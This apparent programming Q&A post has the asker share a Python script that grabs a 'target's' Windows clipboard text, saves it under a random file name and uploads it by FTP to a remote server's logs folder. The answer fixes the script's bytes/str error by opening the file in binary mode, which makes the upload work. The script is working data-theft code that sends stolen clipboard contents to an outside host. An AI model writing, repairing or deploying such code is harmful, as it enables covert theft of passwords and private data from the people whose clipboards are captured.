Send file contents over ftp python
Question: I have this Python Script

    
    
     import os 
     import random 
     import ftplib 
     from tkinter import Tk 
    
     # now, we will grab all Windows clipboard data, and put to var 
     clipboard = Tk().clipboard_get() 
     # print(clipboard) 
     # this feature will only work if a string is in the clipboard. not files.
     # so if "hello, world" is copied to the clipboard, then it would work. however, if the target has copied a file or something 
     # then it would come back an error, and the rest of the script would come back false (therefore shutdown) 
    
     random_num = random.randrange(100, 1000, 2) 
     random_num_2 = random.randrange(1, 9999, 5) 
     filename = "capture_clip" + str(random_num) + str(random_num_2) + ".txt" 
     file = open(filename, 'w') # clears file, or create if not exist 
     file.write(clipboard) # write all contents of var "foo" to file 
     file.close() # close file after printing 
    
     # let's send this file over ftp 
     session = ftplib.FTP('ftp.example.com','ftp_user','ftp_password') 
     session.cwd('//logs//') # move to correct directory 
     f = open(filename, 'r') 
     session.storbinary('STOR ' + filename, f) 
     f.close() 
     session.quit() 
    

The file will send the contents created by the Python script (under variable
"filename" eg: "capture_clip5704061.txt") to my FTP Server, though the
contents of the file on the local system do not equal the file on the FTP
server. As you can see, I use the ftplib module. Here is my error:

    
    
     Traceback (most recent call last): 
     File "script.py", line 33, in<module> 
     session.storbinary('STOR ' + filename, f) 
     File "C:\Users\willi\AppData\Local\Programs\Python\Python36\lib\ftplib.py", line 507, in storbinary
     conn.sendall(buf) 
     TypeError: a bytes-like object is required, not 'str' 
    


Answer: Your library expects the file to be open in binary mode, it appears. Try the
following:

    
    
    f = open(filename, 'rb')
    

This ensures that the data read from the file is a `bytes` object rather than
`str` (for text).

